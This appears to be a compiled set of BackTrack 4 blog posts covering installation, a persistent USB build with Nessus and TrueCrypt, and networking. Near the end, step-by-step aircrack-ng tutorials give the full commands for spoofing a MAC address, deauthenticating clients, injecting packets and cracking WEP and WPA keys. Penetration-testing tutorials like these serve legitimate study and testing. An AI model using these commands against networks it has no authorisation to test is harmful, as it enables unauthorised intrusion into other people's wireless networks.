BackTrack BackTrack 4

Installing BackTrack 4 Final

Installing BackTrack 4 Final couldn’t be easier.  I’ve expanded just a little on the simple installation instructions from BackTrack.  Follow these simple instructions and you’ll be using BackTrack 4 Final in no time.  NOTE: These instructions assume you are going to use the entire disk on your computer for BackTrack.

First, boot the the BackTrack 4 Final DVD.  Either allow it to start on its own or select your preferred screen size.

At the command line enter startx.

Double-click on the desktop.

Select your region/city for the correct timezone, click Forward.  Select your keyboard layout, then Forward.  Use the default disk partitioning option of Guided.  Click Forward.

Click Install and watch it go.

The installation should only take a few minutes.

When it’s done it will prompt you to remove your DVD and reboot.  That’s it.  Now you’re BackTracking.

NOTE: when your system starts your default username will be root, with the password of toor.

See How to Start Networking in BackTrack 4

BackTrack BackTrack 4

BackTrack 4 Final Released

The much anticipated BackTrack 4 Final has been released – FINALLY!

BackTrack 4 is the highest rated and acclaimed Linux security distribution to date. BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating system, booting from a LiveDVD, or using your favorite thumbdrive, BackTrack has been customized down to every package, kernel configuration, script and patch solely for the purpose of the penetration tester.

Download BackTrack 4 Final.

The guys at BackTrack also have a new and improved website.  They moved BackTrack from to  The new site is well designed and has a lot of content.

See Installing BackTrack 4 Final

BackTrack Grep Linux SSL Ubuntu USB VMWare

Building the Perfect Backtrack 4 USB Thumb Drive

This post will show you how to build a USB thumb drive with the following features:

  • Persistent Changes
  • Nessus and NessusClient installed
  • Encryption configured for storing data

Tools and Supplies

  1. USB thumbdrive – minimum capacity 4GB
  2. BackTrack 3 CDROM, BackTrack 4 DVD or an additional USB thumbdrive (minimum 2GB) – Used to partition the thumbdrive.
  3. Optional: UNetbootin – A tool to transfer an iso image to a USB drive.

Download the BackTrack ISO (BackTrack 4 Pre Release is the latest as of this posting)

This tutorial is based commands executed from BackTrack, so you will have to boot BackTrack 4 first. The easiest way to do this is to boot from the BackTrack 4 DVD, which is a live CD.

Partition the USB thumbdrive
First, boot to BackTrack 4. You will have to figure out which drive is the target drive. The following command will show the drives available and you can determine from that which is the new USB drive:

dmesg | egrep hd.|sd.

Partition and format the drive as follows:

  1. The first partition needs to be a primary partition of at least 1.5 GB and set to type vfat. Also remember to make this partition active when you are creating it. Otherwise you might have some boot problems.
  2. The second Partition can be the rest of the thumb drive.

Below are the steps to take to get the drive partitioned and formatted, and were taken from this video on the Offensive Security website. A ‘#‘ indicates a comment and is not part of the command and user typed commands are blue bold. Note, make sure to delete any existing partitions on the drive first.

fdisk /dev/sda # use the appropriate drive letter for your system
# delete existing partitions, of which there may be more than one. 

Command (m for help): d
Partition number (1-4): 1 

# create the first partition 

Command (m for help): n
Command action
e extended
p primary partition (1-4)
Partition number (1-4): 1
First cylinder (1-522, default 1): <enter>
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-522, default 522): +1500M 

#create the second partition 

Command (m for help): n
Command action
e extended
p primary partition (1-4)
Partition number (1-4): 2
First cylinder (193-522, default 193): <enter>
Using default value 193
Last cylinder, +cylinders or +size{K,M,G} (193-522, default 522): <enter>
Using default value 522

# Setting the partition type for the first partition to vfat/fat32 

Command (m for help): t
Partition number (1-4): 1
Hex code (type L to list codes): b
Changed system type of partition 1 to b (W95 FAT32) 

# Setting the partition type for the second partition to Linux 

Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 83 

# Setting the first partition active 

Command (m for help): a
Partition number (1-4): 1 

Command (m for help): w 

# now it is time to format the partitions 

mkfs.vfat /dev/sdb1
mkfs.ext3 -b 4096 -L casper-rw /dev/sdb2

Two things to notice above in the format commands:

  1. We are using ext3 instead of ext2
  2. You must include the -L casper-rw portion of the command.

Being able to use ext3 is great because of journaling. The -L casper-rw option helps to get around the problem where we had to enter the partition name in order to get persistence working.

Partition and format the drive according the layout above.

Make it a bootable BackTrack 4 USB thumb drive
These steps are also taken from the Offensive Security video mentioned above.  They are:

  1. Mount the first partition
  2. Copy the BackTrack files to it
  3. Install grub

Execute the following commands.

# mount the first partition, sda1 in my case. 

mkdir /mnt/sda1
mount /dev/sda1 /mnt/sda1

# copy the files, you will need to find where the ISO is mounted on your system. 

cd /mnt/sda1
rsync -r /media/cdrom0/* .

# install grub 

grub-install --no-floppy --root-directory=/mnt/sda1 /dev/sda

Now you have a bootable BackTrack 4 USB thumb drive. Next let’s configure persistent changes.

Persistent Changes
This is done much differently and more easily than it was in BackTrack 4 Beta or BackTrack 3. First of all, for basic persistence, no configuration is required. There is already a menu option for this, however, it is only for console mode so you will have to make a couple changes:

  1. Change the default boot selection to persistent
  2. Set the resolution for the GUI

cd /mnt/sda1/boot/grub
vi menu.lst 

# change the default line below to ‘default 4' and append ‘vga=0×317' (that’s a zero) to the kernel line to set the resolution to 1024×768 

# By default, boot the first entry.
default 4
title Start Persistent Live CD
kernel /boot/vmlinuz BOOT=casper boot=casper persistent rw quiet vga=0×317
initrd /boot/initrd.gz


Reboot and either select “Start Persistent Live CD” or just wait since we set it to auto-boot to persistent mode. To testit, create a file and reboot again. If your file is still there, everything is working.

Install Nessus
Download the Ubuntu Nessus and NessusClient packages from

Again, with BackTrack 4 things are little easier. To install the Nessus server, simply execute the following command to install the package.

dpkg –install Nessus-4.0.2-ubuntu810_i386.deb

Things used to be a little bit more complicated for the client, but with the release of the pre-final version, it is just as easy as installing as the server.

dpkg –install NessusClient-4.0.2-ubuntu810_i386.deb

Finally it’s time to configure Nessus. Execute each of the following and follow the prompts.

#create server certificate 


This script will now ask you the relevant information to create the SSL
certificate of Nessus. Note that this information will *NOT* be sent to
anybody (everything stays local), but anyone with the ability to connect to your Nessus daemon will be able to retrieve this information.
CA certificate life time in days [1460]:<enter>
Server certificate life time in days [365]:<enter>
Your country (two letter code) [FR]:US
Your state or province name [none]:State
Your location (e.g. town) [Paris]:City
Your organization [Nessus Users United]:<enter>
Congratulations. Your server certificate was properly created.

# add user 


Login :Admin
Authentication (pass/cert) : [pass]<enter>
Login password :
Login password (again) :
Do you want this user to be a Nessus ‘admin’ user ? (can upload plugins, etc…) (y/n) [n]:y
User rules
nessusd has a rules system which allows you to restrict the hosts
that Me has the right to test. For instance, you may want
him to be able to scan his own host only.
Please see the nessus-adduser manual for the rules syntax
Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set)
Login : Admin
Password : ***********
This user will have ‘admin’ privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y]y
User added
We want to disable Nessus starting at boot. We are going to do some things a little later than require that Nessus not be running at boot. 

/usr/sbin/update-rc.d -f nessusd remove

This command does not remove the Nessus start scripts. It only removes the links that cause Nessus to start at boot time.

The next thing to do is register the installation so you can get the plugin feed. You need to go here and request
a key.

Once you have your key. Execute the following to update your plugins. Please note that there are two dashes before register in the nessus-fetch line below. They can display as one sometimes.

/opt/nessus/bin/nessus-fetch –register [your feed code here]

When that is done, and it is going to take a few minutes, you are ready to start the server and client. Be aware that with version 4.0, while the command to start returns quickly, the actual starting of the service may take a minute or two. You may have to reboot before Nessus will work. You can use netstat -na to check that the
server is listening on port 1241.

/etc/init.d/nessusd start

Time to find those vulnerabilities.

Configure Encryption
Since BackTrack will be used to poke at peoples networks and systems, with permission of course, it is very important that the information we find be protected. To do this, we are going to setup an encrypted volume that will eventually become our home directory.

This can be done with the GUI or via command line. We will be using the gui because we need to be able to format the volume with ext3 and, as yet, I have not been able to figure out how to do that via the command line on linux.

  • Launch truecrypt from a terminal window.  
  • When truecrypt opens click the “Create Volume” button.  
  • In the Volume Location field enter the path to your volume, like /work_dir, click next.  
  • Leave the default Encryption Options & click next.  
  • Enter the volume size, say 1GB or so.  
  • Enter and confirm your desired password. 
  •  Select ext3 for the file system type, click next.  
  • Click next on the Cross-Platform Support page leaving the default values.  
  • Click format – you should move your mouse to create randomness for higher security.

You will get a message that the volume was successful created. Click on the ‘OK’ button, then exit the Truecrypt gui, both the ‘Create Volume’ windows and the main windows, going back to your terminal (command line) window.

To test the filesystem, execute the following, note the -k ” is two single quotes, not a double quote:

truecrypt -t -k ” --protect-hidden=no /work_dir /media/truecrypt1
cd /media/truecrypt1
df .

This will show that the volume is mounted and the amount of disk space you have left. The next step is to have this volume mounted when you log in. This can be done by editing the root user’s .profile file. Add the truecrypt command above to root’s .profile so it looks like this:

# ~/.profile: executed by Bourne-compatible login shells.
if [ "$BASH" ]; then
if [ -f ~/.bashrc ]; then
. ~/.bashrc
truecrypt -t -k '' --protect-hidden=no /my_secret_stuff /media/truecrypt1
mesg n

The next time you reboot you will be asked for the password for the volume and it will be mounted for you.

Now let’s tweak a few tings
The first thing we are going to do is configure networking to start at boot time. It’s convenient and easy to
disable later if necessary. All you have to do is execute the following command.

/usr/sbin/update-rc.d networking defaults

Next, make sure all the BackTrack tools and the system itself is up-to-date. First execute the following:

apt-get update

This is update the software repository information. Next, execute:

apt-get upgrade

The system will determine if there is anything that needs to be updated and then prompt you to continue. Individual packages can be updated by including the package name after upgrade.

Next reset the root user’s home directory during the login process to the mounted truecrypt volume. This will ensure that anything written to the home directory will be encrypted. Enter the following commands:

cd /media/truecrypt1
rsync -r –links /root/ .

# add the bold lines below 

vi /root/.profile 

# ~/.profile: executed by Bourne-compatible login shells. 

if [ "$BASH" ]; then
if [ -f ~/.bashrc ]; then
. ~/.bashrc
truecrypt -t -k '' --protect-hidden=no /my_secret_stuff /media/truecrypt1 

export HOME=/media/truecrypt1
export HISTFILE=/media/truecrypt1/.bash_history

mesg n 


The next time you reboot, when you are finally in the system, your home directory will be /media/truecrypt1.
There is one last thing we should do – change nessus to log to the encrypted volume. This is very easy. The
file that controls this is /opt/nessus/etc/nessus/nessusd.conf. We need to create a place for the log files to go. Execute the following:

cd /media/truecrypt1
mkdir -p nessus/logs

Once you have done that, edit the /opt/nessus/etc/nessus/nessusd.conf file and change this:
# Log file :
logfile = /opt/nessus/var/nessus/logs/nessusd.messages
# Shall we log every details of the attack ? (disk intensive)
log_whole_attack = no
# Dump file for debugging output
dumpfile = /opt/nessus/var/nessus/logs/nessusd.dump

to this:

# Log file :
logfile = /media/truecrypt1/nessus/logs/nessusd.messages
# Shall we log every details of the attack ? (disk intensive)
log_whole_attack = no
# Dump file for debugging output
dumpfile = /media/truecrypt1/nessus/logs/nessusd.dump

That’s it. Now you have the Perfect Backtrack 4 USB Thumb Drive.

More BackTrack:

BackTrack BackTrack 4 Linux VMWare

How to Start Networking in BackTrack 4

Since BackTrack 4 (Pre-Release and Beta) doesn’t start networking by default you have to manually start it.  Here’s how to start it manually:

/etc/init.d/networking start

If you have installed BackTrack 4 to disk you can enable networking to start at boot using:

update-rc.d networking defaults

And finally, you can start wireless networking in BackTrack 4 using:

/etc/init.d/NetworkManager start

* Make sure the ‘N’ and ‘M’ in NetworkManager are capitalized.

Don’t forget the basic Linux command to view your IP address and network Status in BackTrack:


And for wireless networking:


More BackTrack:

BackTrack Linux Ubuntu VMWare WEP WPA

Shutdown Command for BackTrack 3 or 4

Since BackTrack is built on Linux you can shutdown BackTrack from the shell using poweroff or restart it with reboot.

BackTrack links

BackTrack BackTrack 4 Beta BT BT4 HD HDD Linux Ubuntu VMWare WEP Windows WPA

BackTrack 4 PreRelease Hard Disk Install

Since BackTrack 4 Pre-Release does not contain an installer you can follow these steps to install BT4 quickly and easily. The assumption is that you are installing BT4 on an empty disk (/dev/sda in this tutorial).

Boot to BT4 DVD (download BackTrack 4 ISO – make sure to get the BT 4 Beta and not the BT4 Pre Release). Enter commands in bold.

1. Start by creating 3 partitions on the disk, one each for boot, swap and root. Note, since your disk size is probably different than mine the number of cylinders will likely be different.

root@bt:~# fdisk /dev/sda

The number of cylinders for this disk is set to 19457.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs

Command (m for help): n
Command action
e extended
p primary partition (1-4)
Partition number (1-4): 1
First cylinder (1-19457, default 1): <enter>
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-19457, default 19457): +128M

Command (m for help): n
Command action
e extended
p primary partition (1-4)
Partition number (1-4): 2
First cylinder (18-19457, default 18): <enter>
Using default value 18
Last cylinder, +cylinders or +size{K,M,G} (18-19457, default 19457): +1024M

Command (m for help): n
Command action
e extended
p primary partition (1-4)
Partition number (1-4): 3
First cylinder (150-19457, default 150): <enter>
Using default value 150
Last cylinder, +cylinders or +size{K,M,G} (150-19457, default 19457): +16000M

Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 82
Changed system type of partition 2 to 82 (Linux swap / Solaris)

Command (m for help): a
Partition number (1-4): 1

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.

2. Format the file systems, mount them and copy over the directory structure. Chroot into new environment.

root@bt:~# mke2fs /dev/sda1
root@bt:~# mkswap /dev/sda2
root@bt:~# swapon /dev/sda2
root@bt:~# mkreiserfs /dev/sda3
root@bt:~# mkdir /mnt/bt
root@bt:~# mount /dev/sda3 /mnt/bt/
root@bt:~# mkdir /mnt/bt/boot
root@bt:~# mount /dev/sda1 /mnt/bt/boot
root@bt:~# cp –preserve -R /{bin,dev,home,pentest,root,usr,boot,etc,lib,opt,sbin,var} /mnt/bt/
root@bt:~# mkdir /mnt/bt/{mnt,tmp,proc,sys}
root@bt:~# chmod 1777 /mnt/bt/tmp/
root@bt:~# mount -t proc proc /mnt/bt/proc
root@bt:~# mount -o bind /dev /mnt/bt/dev/
root@bt:~# chroot /mnt/bt/ /bin/bash

3. Configure /etc/lilo.conf to reflect your setup.


# bitmap=/boot/sarge.bmp
# bmp-colors=1,,0,2,,0
# bmp-table=120p,173p,1,15,17
# bmp-timer=254p,432p,1,0,0
# install=bmp

# delay=20


# map=/boot/map



4. Fix first line in /etc/fstab, and remove unnecessary mount lines. Add the swap partition to the fstab so it gets loaded at boot time. Your fstab should look similar to this:

/dev/sda3 / reiserfs defaults 0 0 # AutoUpdate
/dev/sda2 none swap sw 0 0
proc /proc proc defaults 0 0 # AutoUpdate
sysfs /sys sysfs defaults 0 0 # AutoUpdate
devpts /dev/pts devpts gid=5,mode=620 0 0 # AutoUpdate
tmpfs /dev/shm tmpfs defaults 0 0 # AutoUpdate

5. Execute lilo and reboot!

root@bt:/# lilo -v
LILO version 22.8, Copyright (C) 1992-1998 Werner Almesberger
Development beyond version 21 Copyright (C) 1999-2006 John Coffman
Released 19-Feb-2007, and compiled at 14:08:06 on May 15 2008

Reading boot sector from /dev/sda
Using MENU secondary loader
Calling map_insert_data

Boot image: /boot/vmlinuz
Mapping RAM disk /boot/splash.initrd
Added BT4 *

Writing boot sector.
Backup copy of boot sector in /boot/boot.0800
root@bt:/# exit
root@bt:~# reboot

BackTrack links

Aircrack-ng aireplay airmon airodump BackTrack BT crack Encryption hack howto Linux Passwords Ubuntu Video VMWare WEP wifi Windows wireless WPA

HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes.


  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -0 5 -a (bssid)wlan0
  8. aircrack-ng (filename-01.cap)-w (dictionary location)
BackTrack links

Aircrack-ng aireplay airmon airodump BackTrack BT crack Encryption hack howto Linux Passwords Ubuntu Video VMWare WEP wifi Windows wireless WPA

HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes.


  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
  8. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  9. aircrack-ng -b (bssid) (filename-01.cap)
BackTrack links

BackTrack BT BT 4 Linux Passwords Security Ubuntu VMWare WEP Windows WPA

How To Install Backtrack4 Using Grub On Ubuntu

Backtrack is an operating system that is specially designed for networking security. Bactrack OS is based on Linux. As of this writing the latest version of Bactrack is Backtrack4 with many, many useful applications. Before installing BT4, make sure you have installed Ubuntu on your computer so we can use Ubuntu’s Grub for booting.

Follow these steps to install and configure dual booting Ubuntu / Backtrack4.

  1. Prepare your PC
    Ubuntu OS installed on sda2
    BT4 will install on sda3
  2. Run BT4 using LiveCD
    user : root
    password : toor
  3. Installation process

    # mkfs.ext3 /dev/sda3

    # mkdir /mnt/BT4
    # mkdir /mnt/ubuntu
    # mount /dev/sda3 /mnt/BT4
    # mount /dev/sda2 /mnt/ubuntu
    # mkdir /mnt/BT4/boot

    # cp /boot/vmlinuz /mnt/BT4/boot
    # cp --preserve -R /{bin,dev,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/BT4/
    # mkdir /mnt/BT4/{mnt,proc,sys,tmp}
    # mount --bind /dev/ /mnt/BT4/dev/
    # mount -t proc proc /mnt/BT4/proc/

  4. Edit Grub of Ubuntu
    # vi /mnt/ubuntu/boot/grub/menu.lst

    #you must insert this at bottom page:
    title Backtrack4
    rootnoverify (hd0,2)
    kernel /boot/vmlinuz vga=791 root=/dev/sda3 ro autoexec=xconf;kdm

  5. Exit and restart your PC. Select “Backtrack4” and login.
  6. Registering sda3 to fstab
    We must register /dev/sda2 and /dev/sda3 so either Ubuntu or BT4 can be booted.

    # mkdir /mnt/BT4
    # mkdir /mnt/ubuntu
    # vi /etc/fstab

    /dev/sda2 /mnt/ubuntu ext3
    /dev/sda3 /mnt/BT4 ext3

Aircrack-ng aireplay airmon airodump BackTrack iwconfig kismet Linux macchanger Security WEP wifi WPA

Cracking WEP Using Backtrack: Beginner’s Guide

This tutorial is intended for user’s with little or no experience with Linux or wifi. BackTrack, from remote-exploit is a tool which makes it very easy to access any network secured by WEP encryption. This tutorial aims to guide you through the process of using it effectively.

Required Tools

  • You will need a computer with a wireless adapter listed here
  • Download BackTrack (4 Pre Release is the most recent as of this writing) and burn the ISO to a CD


BackTrack is a bootable live cd with a myriad of wireless and tcp/ip networking tools. This tutorial will only cover the included kismet and aircrack-ng suite of tools.

Tools Overview

  • Kismet – a wireless network detector and packet sniffer
  • airmon – a tool that can help you set your wireless adapter into monitor mode (rfmon)
  • airodump – a tool for capturing packets from a wireless router (otherwise known as an AP)
  • aireplay – a tool for forging ARP requests
  • aircrack – a tool for decrypting WEP keys
  • iwconfig – a tool for configuring wireless adapters. You can use this to ensure that your wireless adapter is in “monitor” mode which is essential to sending fake ARP requests to the target router
  • macchanger – a tool that allows you to view and/or spoof (fake) your MAC address

Glossary of Terms

  • AP: Access Point: a wireless router
  • MAC Address: Media Access Control address, a unique id assigned to wireless adapters and routers. It comes in hexadecimal format (ie 00:11:ef:22:a3:6a)
  • BSSID: Access Point’s MAC address
  • ESSID: Access Point’s Broadcast name. (ie linksys, default, belkin etc) Some AP’s will not broadcast their name but Kismet may be able to detect it anyway
  • TERMINAL: Command line interface. You can open this by clicking the black box icon next to the start key in BackTrack.
  • WEP: short for Wired Equivalency Privacy, it is a security protocol for Wi-Fi networks.
  • WPA: short for WiFi Protected Access. a more secure protocal than WEP for wireless networks. NOTE: this tutorial does not cover cracking WPA encryption

Since BackTrack is a live CD running off your cdrom, there is nowhere that you can write files to unless you have a Linux partition on your hard drive or a USB storage device. BackTrack has some NTFS support so you will be able to browse to your Windows based hard drive should you have one, but it will mount the partition as “read-only”.  To find your hard drive or USB storage device, just browse to the /mnt folder in the file manager. Typically a hard drive will appear named something like hda1 or hda2 if you have more than one partition on the drive. Alternately hdb1 could show if you have more than one hard disk. Having somewhere to write files that you can access in case you need to reboot makes the whole process a little easier.


Hacking into someone’s wireless network without permission is probably against the law. Make sure you are using this to test your own system(s) or one that you have explicit permission to “test.”



Monitoring Wireless Traffic With Kismet

Place the BackTrack CD into your cd-rom drive and boot into BackTrack. You may need to change a setting in your bios to boot from cd rom. During boot up you should see a message like “Hit ctrl+esc to change bios settings”. Changing your first boot device to cdrom will do the trick. Once booted into Linux, login as root with username: root password: toor. These are the default username and password used by BackTrack. A command prompt will appear. Type startx to start KDE (a ‘Windows’ like workspace for Linux).

Once KDE is up and running start kismet by clicking on the start key and browsing to BackTrack->Wireless Tools -> Analyzers ->Kismet. Alternatively you can open a Terminal and type:


Kismet will start running and may prompt you for your wireless adapter. Choose the appropriate adapter, most likely ‘ath0′, and sit back as kismet starts detecting networks in range.

NOTE: We are using kismet for two reasons:

  1. To find the bssid, essid, and channel number of the AP you are accessing.
  2. Kismet automatically puts your wireless adapter into monitor mode (rfmon). It does this by creating a VAP (virtual access point) or in other words, instead of only having ath0 as my wireless card it creates a virtual wifi0 and puts ath0 into monitor mode automatically. To find out your device’s name just type:


Which will look something like this:

While kismet detects networks and various clients accessing those networks you might want to type ’s’ and then ‘Q’ (case sensitive). This sorts all of the AP’s in your area by their signal strength. The default ‘autofit’ mode that kismet starts up in doesn’t allow you much flexibility. By sorting AP’s by signal strength you can scroll through the list with the arrow keys and hit enter on any AP you want more information on. (side note: when selecting target AP keep in mind this tutorial only covers accessing host AP’s that use WEP encryption. In kismet the flags for encryption are Y/N/0. Y=WEP N=Open Network- no encryption 0= other: WPA most likely.) Further reading on Kismet is available here.

Select the AP (access point) you want to access. Copy and paste the broadcast name (essid), MAC address (bssid), and channel number of your target AP into a text editor. BackTrack is KDE based so you can use kwrite. Just open a terminal and type in ‘kwrite’ or select it from the start button. In BackTrack’s terminal to copy and paste you use shift+ctrl+c and shift+control+v respectively. Leave kismet running to leave your wireless adapter in monitor mode. You can also use airmon to do this manually. airmon-ng -h for help.


Collecting Data With Airodump

Open a new terminal and start airodump to collect ARP replies from the target AP. Airodump is fairly straight forward, but for help you can type “airodump-ng -h” at the command prompt for additional options.

airodump-ng ath0 -w /mnt/hda2/home/admin/ap_dump 6 1

Breaking down this command:

  • ath0 is my wireless card
  • -w tells airodump to write the file to
  • 6 is the channel 6 of my target AP
  • 1 tells airodump to only collect IVS – the data packets with the WEP key


Associate your wireless card with the AP you are accessing.

aireplay-ng -1 0 -e belkin -a 00:11:22:33:44:55 -h 00:11:22:AA:BB:CC ath0

  • -1 at the beginning specifies the type of attack. In this case we want fake authentication with AP. You can view all options by typing aireplay-ng -h
  • 0 specifies the delay between attacks
  • -e is the essid tag. belkin is the essid or broadcast name of my target AP. Linksys or default are other common names
  • -a is the bssid tag (MAC address). 00:11:22:33:44:55 is the MAC address of the target AP
  • -h is your wireless adapters MAC addy. You can use macchanger to view and change your mac address. macchanger -s ath0
  • ath0 at the end is my wireless adapters device name in Linux


Start packet injection with aireplay

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:11:22:AA:BB:CC ath0


  • -b requires the MAC address of the AP we are accessing.
  • -h is your wireless adapters MAC addy. You can use macchanger to view and change your mac address. macchanger -s ath0
  • if packets are being collected at a slow pace you can type iwconfig ath0 rate auto to adjust your wireless adapter’s transmission rate. You can find your AP’s transmission rate in kismet by using the arrow keys up or down to select the AP and hitting enter. A dialog box will pop up with additional information. Common rates are 11M or 54M.

As aireplay runs, ARP packets count will slowly increase. This may take a while if there aren’t many ARP requests from other computers on the network. As it runs however, the ARP count should start to increase more quickly. If ARP count stops increasing, just open up a new terminal and re-associate with the ap via step 3. There is no need to close the open aireplay terminal window before doing this. Just do it simultaneously. You will probably need somewhere between 200-500k IV data packets for aircrack to break the WEP key.

If you get a message like this:

Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Just reassociate with the AP following the instructions on step 3.


Decrypting the WEP Key with Aircrack

Find the location of the captured IVS file you specified in step 2. Then type in a terminal:

aircrack-ng -s /mnt/hda2/home/ap_dump.ivs

Change /mnt/hda2/home/ap_dump.ivs to your file’s location.  Once you have enough captured data packets decrypting the key will only take a couple of seconds. If aircrack doesn’t find a key almost immediately, just sit back and wait for more data packets.

For more information or assistance you can access the BackTrack forums at